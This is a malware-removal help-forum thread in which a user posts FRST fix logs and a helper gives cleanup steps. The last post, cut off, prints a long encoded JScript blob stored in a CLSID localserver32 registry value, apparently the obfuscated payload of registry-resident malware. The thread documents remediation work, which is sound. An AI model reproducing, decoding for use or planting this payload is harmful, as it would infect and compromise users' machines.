#7 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 16 July 2014 - 08:29 AM

Also the issues continue after applying the fix.
 
Results after applying the fix
 
Fix result of Farbar Recovery Tool (FRST written by Farbar) (x64) Version: 15-07-2014
Ran by Dennis at 2014-07-16 09:28:50 Run:1
Running from C:\Users\Dennis\Desktop
Boot Mode: Normal
==============================================
 
Content of fixlist:
*****************
start
HKLM-x32\...\Run: [] => [X]
AppInit_DLLs-x32: C:\ProgramData\e.dll => C:\ProgramData\e.dll [53248 2014-07-10] ()
C:\ProgramData\e.dll
SearchScopes: HKLM-x32 - DefaultScope value is missing.
S3 catchme; \??\C:\ComboFix\catchme.sys [X]
S3 esgiguard; \??\C:\Program Files\Enigma Software Group\SpyHunter\esgiguard.sys [X]
Folder: C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA
Folder: C:\ProgramData\5270FA6688441313A39456CC4AFC776A
2014-07-07 19:58 - 2014-06-02 22:12 - 00000000 ____D () C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA
2014-07-07 19:58 - 2014-05-31 00:25 - 00000000 ____D () C:\ProgramData\5270FA6688441313A39456CC4AFC776A
C:\Users\Dennis\AppData\Local\temp\e.dll
C:\Users\Dennis\AppData\Local\temp\fik.dll
C:\Users\Dennis\AppData\Local\temp\fwbch.dll
C:\Users\Dennis\AppData\Local\temp\hiv.dll
C:\Users\Dennis\AppData\Local\temp\los.dll
C:\Users\Dennis\AppData\Local\temp\mkg.dll
C:\Users\Dennis\AppData\Local\temp\ndcyu.dll
C:\Users\Dennis\AppData\Local\temp\Svchost.exe
C:\Users\Dennis\AppData\Local\temp\txwx.dll
C:\Users\Dennis\AppData\Local\temp\uek.dll
C:\Users\Dennis\AppData\Local\temp\wcrash.exe
C:\Users\Dennis\AppData\Local\temp\wonoq.dll
AlternateDataStreams: C:\ProgramData\TEMP:0FF263E8
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Minimal\21787411.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\19743755.sys => ""="Driver"
HKLM\SYSTEM\CurrentControlSet\Control\SafeBoot\Network\21787411.sys => ""="Driver"
ListPermissions: HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}
ListPermissions: HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32
DeleteKey: HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32
REG: reg query HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} /s
REG: reg query HKCR\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4} /s
REG: reg query HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} /s
REG: reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s
end
*****************
 
HKLM\Software\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\\ => value deleted successfully.
"C:\ProgramData\e.dll" => Value Data removed successfully.
C:\ProgramData\e.dll => Moved successfully.
HKLM\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\SearchScopes\\DefaultScope => Value was restored successfully.
catchme => Service deleted successfully.
esgiguard => Service deleted successfully.
 
========================= Folder: C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA ========================
 
 
====== End of Folder: ======
 
 
========================= Folder: C:\ProgramData\5270FA6688441313A39456CC4AFC776A ========================
 
 
====== End of Folder: ======
 
C:\ProgramData\D8DA51C7040AC7B857C61FC42FA211BA => Moved successfully.
C:\ProgramData\5270FA6688441313A39456CC4AFC776A => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\e.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\fik.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\fwbch.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\hiv.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\los.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\mkg.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\ndcyu.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\Svchost.exe => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\txwx.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\uek.dll => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\wcrash.exe => Moved successfully.
C:\Users\Dennis\AppData\Local\temp\wonoq.dll => Moved successfully.
C:\ProgramData\TEMP => ":0FF263E8" ADS removed successfully.
'HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\19743755.sys' => Key deleted successfully.
'HKLM\System\CurrentControlSet\Control\SafeBoot\Minimal\21787411.sys' => Key deleted successfully.
'HKLM\System\CurrentControlSet\Control\SafeBoot\Network\19743755.sys' => Key deleted successfully.
'HKLM\System\CurrentControlSet\Control\SafeBoot\Network\21787411.sys' => Key deleted successfully.
===================================
Permissions for "HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}":
 
Owner: BUILTIN\Administrators
 
DACL(PAI):
 
BUILTIN\Administrators ALLOW FULL (NI)
BUILTIN\Administrators ALLOW FULL (OI-CI-IO)
NT AUTHORITY\SYSTEM ALLOW FULL (NI)
NT AUTHORITY\SYSTEM ALLOW FULL (OI-CI-IO)
BUILTIN\Users ALLOW READ (NI)
BUILTIN\Users ALLOW READ (OI-CI-IO)
 
===================================
===================================
Permissions for "HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32":
 
Owner: BUILTIN\Administrators
 
DACL(PAI):
 
BUILTIN\Administrators ALLOW FULL (NI)
BUILTIN\Administrators ALLOW FULL (OI-CI-IO)
NT AUTHORITY\SYSTEM ALLOW FULL (NI)
NT AUTHORITY\SYSTEM ALLOW FULL (OI-CI-IO)
BUILTIN\Users ALLOW READ (NI)
BUILTIN\Users ALLOW READ (OI-CI-IO)
 
===================================
HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32 => Key Deleted Successfully.
 
========= reg query HKCR\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} /s =========
 
 
HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}
    (Default)    REG_SZ    Thumbnail Cache Class Factory for Out of Proc Server
    AppID    REG_SZ    {AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}
 
HKEY_CLASSES_ROOT\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\InprocServer32
    (Default)    REG_SZ    C:\Windows\system32\thumbcache.dll
    ThreadingModel    REG_SZ    Apartment
 
 
 
========= End of Reg: =========
 
 
========= reg query HKCR\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4} /s =========
 
 
HKEY_CLASSES_ROOT\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}
    AppId    REG_SZ    {73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}
    (Default)    REG_SZ    Microsoft WMI Provider Subsystem Host
 
HKEY_CLASSES_ROOT\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\LocalServer32
    (Default)    REG_EXPAND_SZ    %systemroot%\system32\wbem\wmiprvse.exe
    ServerExecutable    REG_EXPAND_SZ    %systemroot%\system32\wbem\wmiprvse.exe
 
HKEY_CLASSES_ROOT\CLSID\{73E709EA-5D93-4B2E-BBB0-99B7938DA9E4}\NotInsertable
 
 
 
========= End of Reg: =========
 
 
========= reg query HKCU\Software\Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5} /s =========
 
 
 
 
========= End of Reg: =========
 
 
========= reg query HKCU\Software\Microsoft\Windows\CurrentVersion\Run /s =========
 
 
 
 
========= End of Reg: =========
 
 
==== End of Fixlog ====

Edited by KydaSteve, 16 July 2014 - 08:34 AM.


#8 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 16 July 2014 - 09:17 AM

Hi,

 

Let me dig deeper.

 

Next please download the following file => and save it to the Desktop.
NOTE. It's important that both files, FRST and fixlist.txt are in the same location or the fix will not work.

Run FRST and press the Fix button just once and wait.
The tool will make a log on the Desktop (Fixlog.txt). Please post it to your reply.

 

 

Regards,

Georgi


cXfZ4wS.png


#9 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 16 July 2014 - 09:27 AM

Here you go

 

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x64) Version: 15-07-2014
Ran by Dennis at 2014-07-16 10:27:33 Run:2
Running from C:\Users\Dennis\Desktop
Boot Mode: Normal
==============================================
 
Content of fixlist:
*****************
start
Reg: reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /s
Reg: reg query "HKEY_USERS"
end
*****************
 
 
========= reg query "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList" /s =========
 
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList
    ProfilesDirectory    REG_EXPAND_SZ    %SystemDrive%\Users
    Default    REG_EXPAND_SZ    %SystemDrive%\Users\Default
    Public    REG_EXPAND_SZ    %SystemDrive%\Users\Public
    ProgramData    REG_EXPAND_SZ    %SystemDrive%\ProgramData
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-18
    Flags    REG_DWORD    0xc
    State    REG_DWORD    0x0
    RefCount    REG_DWORD    0x1
    Sid    REG_BINARY    010100000000000512000000
    ProfileImagePath    REG_EXPAND_SZ    %systemroot%\system32\config\systemprofile
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-19
    ProfileImagePath    REG_EXPAND_SZ    C:\Windows\ServiceProfiles\LocalService
    Flags    REG_DWORD    0x0
    State    REG_DWORD    0x0
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-20
    ProfileImagePath    REG_EXPAND_SZ    C:\Windows\ServiceProfiles\NetworkService
    Flags    REG_DWORD    0x0
    State    REG_DWORD    0x0
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1599506222-1575010799-3243662978-1000
    ProfileImagePath    REG_EXPAND_SZ    C:\Users\Dennis
    Flags    REG_DWORD    0x0
    State    REG_DWORD    0x100
    Sid    REG_BINARY    0105000000000005150000002E87565FEFC1E05D825E56C1E8030000
    ProfileLoadTimeLow    REG_DWORD    0x0
    ProfileLoadTimeHigh    REG_DWORD    0x0
    RefCount    REG_DWORD    0x1
    RunLogonScriptSync    REG_DWORD    0x0
 
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\ProfileList\S-1-5-21-1599506222-1575010799-3243662978-1001
    ProfileImagePath    REG_EXPAND_SZ    C:\Users\LogMeInRemoteUser
    Flags    REG_DWORD    0x1
    State    REG_DWORD    0x100
    Sid    REG_BINARY    0105000000000005150000002E87565FEFC1E05D825E56C1E9030000
    ProfileLoadTimeLow    REG_DWORD    0x0
    ProfileLoadTimeHigh    REG_DWORD    0x0
    RefCount    REG_DWORD    0x2
 
 
 
========= End of Reg: =========
 
 
========= reg query "HKEY_USERS" =========
 
 
HKEY_USERS\.DEFAULT
HKEY_USERS\S-1-5-19
HKEY_USERS\S-1-5-20
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1001
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1001_Classes
HKEY_USERS\S-1-5-18
 
 
========= End of Reg: =========
 
 
==== End of Fixlog ====


#10 B-boy/StyLe/

B-boy/StyLe/

    Bleepin' Freestyler


  • Malware Response Team
  • 8,307 posts
  • OFFLINE
  •  
  • Gender:Male
  • Location:Bulgaria
  • Local time:04:51 AM

Posted 16 July 2014 - 01:14 PM

Hi,

 

I am sorry for the delay. I was at work till now.

 

 

STEP 1

 

 

Next please download the following file => and save it to the Desktop.
NOTE. It's important that both files, FRST and fixlist.txt are in the same location or the fix will not work.

Run FRST and press the Fix button just once and wait.
The tool will make a log on the Desktop (Fixlog.txt). Please post it to your reply.

 

 

STEP 2

 

 

Also please download the following file RegKeyFixer and save the archive to C:\.

 

Now right-click the file and extract the content to a folder so you have C:\RegKeyFixer folder.

 

Please click Start Menu > All Programs > Accessories, right click on Command Prompt and select "Run as administrator".

Copy/paste the following text at the command prompt and press enter after each line:

cd c:\

 

cd regkeyfixer\regkeyfixer

 

RegKeyFixer64.exe \registry\user\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes -f -s

 

When it has finished, click on the Icon in the top left hand corner of the Command Prompt and choose Edit > Select All and then Edit > Copy. Right Click on your Desktop and create a text file. Open it and position your mouse inside the file, right Click again and choose Paste. Save the file and post the contents in your next reply.

 

 

STEP 3

 

  • Please download RogueKillerX64.exe and save to the desktop.
  • Close all windows and browsers
  • Right-click the program and select 'Run as Administrator'
  • Press the scan button.
  • A report opens on the desktop named - RKreport.txt
  • Please copy and past the results at pastebin.com and post the link to the log in your next reply.

 

 

Regards,

Georgi


cXfZ4wS.png


#11 KydaSteve

KydaSteve
  • Topic Starter

  • Members
  • 10 posts
  • OFFLINE
  •  
  • Local time:09:51 PM

Posted 17 July 2014 - 08:57 AM

Log created after FixList was ran

 

Fix result of Farbar Recovery Tool (FRST written by Farbar) (x64) Version: 15-07-2014
Ran by Dennis at 2014-07-17 09:13:57 Run:3
Running from C:\Users\Dennis\Desktop
Boot Mode: Normal
==============================================
 
Content of fixlist:
*****************
start
Reg: reg query "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" /s
end
*****************
 
 
========= reg query "HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}" /s =========
 
 
HKEY_USERS\S-1-5-21-1599506222-1575010799-3243662978-1000_Classes\CLSID\{AB8902B4-09CA-4bb6-B78D-A8F59079A8D5}\localserver32
    a    REG_SZ    #@~^XHoAAA==n{F+2im'xh,)mDk-+or8%mYvEUmDb2ORUtVsJbIStrVc+e'*+* Y.zPhxlc3XwC NAx\bDKU:xO?DDrUT/`rYhbxNb.YJ*ia'A_Ew'/z/SGh+cwwSkx[GS/2WSnM/4V^--7FcT-'wGhDd4VVcn6Ji6xU+SPzmOk-nor8L^YvJj^MkwOr o sbs?zkY:r(L^Yr#I0!x^ObWx,^N `#PO.XPDY;DU~mR]+T]+mNcE_|S\w'/G0DAmDn'-skmMWkG0D-wxY~WMl:AWM3PknOEa-'x[www7  !cX!F {w'/wEbp8^lD^4`n* M+Y!D ~!p8N0!x^ObWx,[`!# XxU+SPzmOk-nor8L^YvJ\dX:V+ U+.\.oHJ_K:nR+RZE#p6 Wa+UcrM2:E~!~0msd+*iXRd+U[v#IE6U'mR3aalx[3 \rDKUs+UD?DDk okcJuYn:a]wwr#_! /!4/D.rxT`!RsldO&x[+X60vJ&E*_FbI!0UY{;6xQrRD:wri!WY{0 ZM+COK+XOsbV+v;WxD~DD;+SR8#Ik6cE6Yb`!0Y MkO+vacDnkwKx/AK[X*i;0DR/sK/+vbi!0'6 /DlD+P+aOwks+v;0 ~O.!+#I;6Yx0c!YobV`E6xDbi!0d'!0O }w+ )/:+6DjODls`bi;WkR]+m[`y#I;6R.rD+cE6dcInmNvE0DRUryO+#*i;WkRZ^G/`#p;WR;VK/n`bI6R9+^nYsrs`EWUD#Ilc]!xcr-rJ_!0 QJ'J~z$ErnDPz GD/Ym.OJB!BFbiW G+s+DnsbVnc!0xbI)8Atbs`Z6RwkV2Xr/D/cw*#`r6`m9U`*''Zb`NvJr#I8[crJbi)clc2U-bDWUhxO`rKMW^/kJ#*`rCJ*'Ek6~c]K+XORAxmK[rxTT=))?/(&R!+DjYMkULv$ZGU7+.YYl=s.K:~l/vWjYMkUovB[ux*+ytF(:1ZC ,!qVNV+q$4mhsD(Z44i!wX5 q^N!.HFwA-1 ^!lq,!KKz/PwEt!w!42B*h?I`^U.^|j!Lq]lm!.(p.ZoBo~tmhoD}pI^^ HdqF~tmssDt("V^k4p8fgwNVs\(L!XF#!T8IXm!#9q/IUt("F^hlj+p$^n#Yq8yVVo?0G9wIl^MjZ[^/t!jXnjOA1CAA8+F4lq*[r%2GNp9Htl!]!OY5 s!SVI^tsV;\j"*4ssDCgA^&gV8 x/+ULW::.2Ji,bls.%N/$:+p1ZtZEihj:4!#NN!V78b*$1&gV4q9knjlt8`W(sxV}saVI&I^t3I^4V.U5p]^qr3aJsDKnpg!} T!jh.s8V.%9M^\4b*w8^!J3wy^+jY5sa*5x.a8!I^m0s%5+#.mq!+6VxF8r0EI!#sl *^]_V;I8w5ZF7tCj/t?Tkj l1}qq\1xVg8+I84VjrS/]s5 6.t?0E]!j:l X^.uVStUor9Z&/q01ke(gyJs~FehXw5HaK\skt pkpq*"liHk5p1.J2wF[!Of4!o.mzqk 81X1&"V4U*g[X!Cgt^f"2}qaV\ sZt#!arHIi+p$^pU.a8M"V^rl2} ta4h.G8y*"9CxF52I7^kTkiV"K^!jLlqo/::sDtj6&lqIspUs:l mkiCjk8!^Lqra(jfV.[V.OdVxV}s6^e&"w8 WE}+w/4VsE\!178U}^4 I24+X.(PW+i&"t8h"tmh}k9oA4^ssO\("Vm HaJVgV[2^Y^!XV4q#E9MsZC ,!Is64}f\Kqs988x"w8 `/K o!5 N^t;q2}X"j+oA^}xjw8M"V^rl2}qtw(:.gtpIK4ypGqVs!Nh,Mt?&/(s~F5haa5z6&CqIs5x^KlqmkP:j&i X\[/XloB!9sk(rh0js.TNpB!.uVSt?S3i!wX5 q^N!.H^H3;` j!?qFS8MjYtl!ep"w4yXM(Ms ^zobj .;N!sD}j6geltt+j3qrVFmh.Z[o9;&Z"j+oA^}xjw8M"V^rlfms#t9M.`npA^|;3{0 t84h1ZCOE(!9t+q$4mhsD(;t8`MwX5qF^[MjXFs~\^+^!lq1EhKbkP s!}VsT4fBlnjI`^xjVF#ZoqHZmhV!t8!Lx28\}_.kt?X4iMwXe 8VNV#XnsA7^+VZlq,;nP3kK s!tMw!8fx*nj]`mU.^Fj!LqFg!msV!tFZoBs~X8+gV}_#X\?3FBo1lm2Is4io.m+.De:X*K#DAmu$A4+F4Cq*[}LafNo9Htl!]MOYe ^ES0[V92s.^+.D5s62}p\K|p6oCMjXtj8n5h2^5fIFBw%;" X\5ssk}(gyt8k8u^f5qHW\?bD} *0q;IWSVa75+sZCOEJsgh4!sZ|/91p;q2qXZ6(U*w^(jt8CtW(sg*m2]V(?*08!hb|o!{9o#!m+sstjlt[!^ }iq^N!t7t_H1xsg*m2I^8jwy^ jYehX*S0[V9sIl^!jKq0F25fB7m+,s[Zl(C WyHrXj4U14ts.6I("wNs.gt("W8 "y(r0Gms#!9(9!(/Ij4 14}h#}5pIa[:j1tp"W4+].SVN^[AFs9M4\};ob] j!iCx\eTw3}_BV1&HbFj*x4 }-l+iK9!*88MS/}/44jfs.N!.DJ^9q(x"w4qj!jl!t(x\^ogVm twI ..JVt44sId}#B^}s!KP:j&JiOklh#NN/A:no1T\ZEj .![M^Yt?l98U"Vms1h` .H[hVN}oH;?!o!}!6^i:j:F/4r}p^DK+9$tq1T&2^ENwAZ^k0/BsjE^+w:}`Xt9MVytiF^NVt-}u\!I+.ZPj!C!O3|/B_}pIg8yIq(Mjq5q*08M`kF?l98U\\lyiWxM*88!hkp;oVK 10N 6^F?0wFjS3juB75+.0[o9sn?0G0jY;n("V F8N(/"hnjOf( *ytp9Z(:WIUB74i94^ ` Hog!mhs!}zob#^V+1 1D+V,48("}e88 ^..8s("&Al h,kIsFdluob4 sniVac wY.hqa.#N^#ZNA1Fa\4A}7]:46PKxtjsxt?^stm3wDC#.ol8Nu4f#m4+6V^MXW^#aC5i2U5 t\eqF*(^..2so] w|i:wc8 ^..2#lU!.2}is~pooA3oq4 6lt283]U4q.h4bIit&is1G1 xCrqwWCF41}j^!}i"MKZ]&5(ton9AIjjIur 4mK IV\jjc^o^EK34U}!tKey*d5x4DV1~P"M^!j38!"MIA4?IV9le%9}p oA."]mIq9l V9kjoxk+u2NrowV[sN9:C^M}`6G# w2t.g& "K.ZaLj21}#sw +b,XNUs$jsqMCXI#h82?s#shWH[yY!tjxD}`p7[&4*H:OpJT"qj:#n}MoXnh,Z.01BN3H5?pIw]j4w]oa:}To~r3Ytt`19:MgZ+`6o}FgHijxx]94xjVoAd&snt!.a?^ts+i2U}#1V[!AD] 9xpio~Kf1tC:soqKIc4`6It(^HtMjwPox:l`a2U15[uNUIVVjT[ HsoW}jwpj+^.H"$$.#t"}U,B1sx:jZ6Utx^H M\I]9x9mA#Z\22yiVq.jqI]4r1U}UVAt:\&PhgF.T]s}UN}twsKU:"VpZw`tVgr#MxAnU9f4A**U(I}6iVS5Z9rpi]lIuAN]MxZ\ixDpT}MpPVlHNI}g25y.`Ia s4&Jy~5H!0hG]ntstMe+,oK^9%psojN%Vq62^!\ig9N #"pV.~}`V("!xZI`s~]&~AejwA[TwAp`}y9LV+#iN7pU%XpT2U}hVV[!AD]i\xIio~?pIt#0V6(f^ApZhMi2OD]f93P3\9Hj#C`!s+n#N\181fU2g1uId}!^yniRc1PB~4f}hCV1dt2\}NGVGj("*]2^qj3xZI`oA5.b.CP17I`2-lU2Spj/.i&9kJqx:jT]2l m8#V}j(a}N_N5}.~&CK5 }iwAp`oxt&N;]3s;Hw1tHP4~jpVt]C9pj#j:r#eZ? 6VH`Ve5"fN`6I[Fw2 M\;^V4\mZ]WI!q8}s2MH2NKmT4aH9HZCVjIjiw/I/10}#p7#s}9U3A!jAI;jjZ&}j45t!0hG]x}M1jtfWWpqIrNia$m#s~}jwfjs"VpTa$mis~}`s9:fxfNV.}}.~9tyx5\3wnm.Bwt.t Pq}IHV1.TXqNhwUH:lIC a5lTsa.st2]GN%qsa\w10}(^ZHCIci3wAp`}h5jFU}#9XI_tfK/1`}VqXHjwM\P^Aj31aHT.wCV}Ct(1!NAV5j("1}!gW^iwC4Z(\tF.x}Pt$S.AsmTHgr39s MX jU9WpiojH#}oPU,Cq2Oj.:pWC!wAtsw JT\lN2[I5j1$PqAnp`sBm+]qI3}~}jShH94Dpioq}r,`eqmTL~/4NHW (I iLgI s\:S8]1}jwX]q}!H.ttN3#nps1~[ 8Cji\AV[hS+IlH:IT"jaZjs}WtFwC}jIFto1c?`#A"VNtHT6 p`.$pi3y?TFh}jwZ#o\\m"ojI3}~}`}%L&\r:swif06}Fzc#%\2p0oAU(5ZC!5lHw1-N3tw?Psx}.^\i#w9.oH0}hYH[8s}UMwApjs~}jxICV^.}P4pSH1.`Z,oCPAj?`/*5T]Ujpt"Jyg.##I\Sq^7Hq.gC^V#5K4pSH,jif06}Fzc#s"2I0oA"sAbt"t"l82.N OIHP}t[yw jU9WpiojH#wX}0NU5j8Ap`s4}.A*}jwAn%^/5b1MI!s2iisGKG93Nh#0?3wIejwA}VwApTX8NqsU}`s9n!wCI0s~PMDAP2wA}PT jZXx9Fs"}is;4ZsupVo~?p52[x"Ae#wAp"#~pVs~}`}3x~prw}j]2\A}j^p]i"2jGBcg2F~]is~p`93H3o~I%o8t2gIP "A4P]dj3}~}`}/`K\&mV,x]2lA}j9x8"4.p`3\s}wPi.~pj}ds[j|+VXFXR\J+0\pTaW49.b[yN]5.\}N 1 F&4A#Kwl !w;}2G*(ysVn3}mjooA3o5pis~}jOw]V"Ipio H9HWJ.I}"j"M5`w}#2"*ijw28TO:SH0\t:N~]is~po}flVX"pi9IejgInswApTAHj9tqiZI/5jwprw}`]2xA}j\Z8q92K0oA" W7]uN~po}Ulp]"pi9oJ&4ji8.pio ros"C^.e5.j1}A}W]jwM}jw2joxL+V11t2s~C#o.jqVeoi7+otNPjjA} 4Lp%$g4pq7J.1egZOc.^sg]jwACMgZ\i9\H`e\"3p7t!}$SZ} jp["pi1V[!4Ijh1yH"4d4s.AP:VT"ZRyGp7ns1hPjjA}#T610a&t(}n["soKGNBjuHIIVF+\L"Dt38p?Vo~K+N;Fy5-d ^.Gt J K\]f"ji3wAp`o(MIXiV}S4Zs/pio~K9IxCVjA}i8ypTal4!s}tssixw/jAt;#2"*ijwA]VwAp`owjVNMJftq5ZFopiojj9tq#!"Z}iw93oA1o1U}`s$5.`\r:27jKwMF!\2j3xjI_sI5js_}is~pU,*.i#g.is~CMgZ\!"}HieyIV1}issj`.`\r:2MPgMP.~|}iwA5ZoA5j97}is"p`s!Ks]jS"tq#2"Z}iwMps^7HqoWJ2t#I!8sp`sKe!&hi8XJzRyV1c9F.26!Y~p`1$pio~j9tq#j"Z}iwC}")WlTs~J.1e(XOc.^.g]jwACMgZ\31!K:sr`2w~}i1H?A9iIus"pisn}jwA} "IluodN%tq `I/5jwMrq.g62xkngr#h0D+`(&"(Nw}is;.8}j/1qH jM}3ws}iwM5iXK5sp2JH%X`?Ry.`VqJy4C!"M}iw9Ao2gMVS}is~pqs5liXU5+tI#j83]U42NTo~piI7^qN"5jw9jA.AjKxM[VzyJzR6p^^\s}7Pi.~pU%".iV7+ooZPjjA}#j9HVtyj9H7J.s3d!\:joN"}jx5CV^(6/O:SH1.UK9V[oAySH%aI/1V.fN2ijwf]U9qjst$#mWJy5-d ^.w.$#.4s#j83]U^sp`oA5jI&ihI$4Z!Api37+otNPjjA} 4Lp%$_I+w~j N.5?RyGo7ns\IPjjA}jRyGL\smSPi.~pjqTm"oNI39~}j0X]U"pNr07Hip7\q%z"x\pHH%7\j5\\O joT61Z2&\Fs~#s3XmZwB+i(2IUNd}jwZ#o\/}Pi.NT.~}`hT`jlsp`s$eL~}6(I\J"T .sqhjsAb#PIk}wIJ./1V#sWijw28"x j/071!6V ^b*j:l2p0s~j!8sCVjA} a}.y\\9k%7#i,aN;/-Sz1jI+V"Py~A}p\Er34~pi9oC^V#qK^ SH,jP a&FXR\J+a}.y\\9k%7#i,a?b/-Sz1jI+V Py~A}#\\HVt_j!q7J.s3(y~:Nb%7HfxM8Vz&JzR6IV1t9x57J"s;4213N3o~Ihs}Csx;\rR\r#3yK3h2JH%.::4l+b/7Jy^IH3j HzR\rjot:j22iis;.ywt.#VlNr%7#jOw#/k\Sz1$#NNJ25-dFjn}2HMJXR\#j9;iiRhp`o(y9V]qAbSH%aI!10ju57Jyx\] wApp[~pi97}0pA5jwMKZw&#2"*ijw2JT\Lpo[I5j1t63VkHq93NU2A1osD}VwA} w|pio~pi1}issjjsj1}A}7jVwA}jw28"9xlZoAU.Aw]3Ik}V}(.##gr31Ais9&}zOEr3tA1#I~}^so5jw9pZwU C^r[:9IiVwApHOA"!}~}i6Mp`6$pi3W1s1ttV9c8TwAIio~?P9&}09$5jwC}Zs\]jwA#j8L]V8p?0oA5j.~}isASZ} pp4"pi1tiV9*F"~Zm3o~K!Y~]`s$5KT jZIW}(0\}35h}iwM}`2F5js"}isA4Zp-j/071!6V#!06[Tw}4Ts"Iu9ttV}d1jxfN0N4}jw&}jwfPUgqrA4A5j9o#j%W. N3pVo~Ihs}CVx;\rR\r#Bj? 6Ve8b*jVj2I0s~j.~s]sz*\#9Cls[nt2s~#U5lHq1Kl9iMNr%7e96Ph4l+rd7S"V"#b%*jVx2I0s~j.~s]20X]hlp1H0\tj9763IZp`s!5r103I7#\XJzR!N3tN?Ps2}jV-U.w2m060t:DXnMXfPox5IV1W\3h7J"IkI^}\}Ts5Iis~C.j^+^..U[WHo} ]AI*5jw24VImjsjqnf~tT^2+AoAUKsV8T}ASZ}4pp["pi1V[!4?j+0h.+O |+NVtAqXU"jrG.IeT6P a/toaqj`2cts}2PTIWp`sKmfHWHo}2]!56}iwnm+2h.%sMtA93Usx5IGI5#jwAnf~^"421`oA:&1hn9AqN2N3rio~K IVe3DW}#wApT]5.fNGJyc*"x4&.omWC!wA}9A}iwHlG$Ijjs~t3so1_IoIVo~?pHXjj"Z}iwMKTX`.+tU#:m*d!wIrAsq\jlj#Kw2J+"5+b061j!S6!Y~pqm-}Tt0.%.76jjM}iwprPosK+VDH8b-d wAlA1"}j5\ts4v8+8V+b0\g2!leVst|y}f."]0Ii}~}j4I]UjHjVB"pi9"J.1 }f\qH2H7JXD2is9&}zOErAtFUs9;iis;HA9rlP$".is~#K56PhwMIs]qHi*`#:s3d "5+b%X^jZh6MDA}iRcKj$W\3sG}is;.Vw#.hHjIV*I#Kwr#u\*pVH"pi9IJ.1 (&4&.omWC!wA}(9A}iwpS8[dy3XeiFNI0*}?Vo~p#.~}jw28T1D+r07Hi,}i^}*`.`X}H,~iK4A#Kwr#oI\r:ot`Z,o8fw`+js$pP[2NzYVC(99}iw9N3tqI+,w GId\M\9l.Vgi2aA}j06[Tw}4ZsI"C9tt!}kA/*h1~I3s~}j0X\3wApVo~pi9o#U%*jx92p0s~jXM#!" 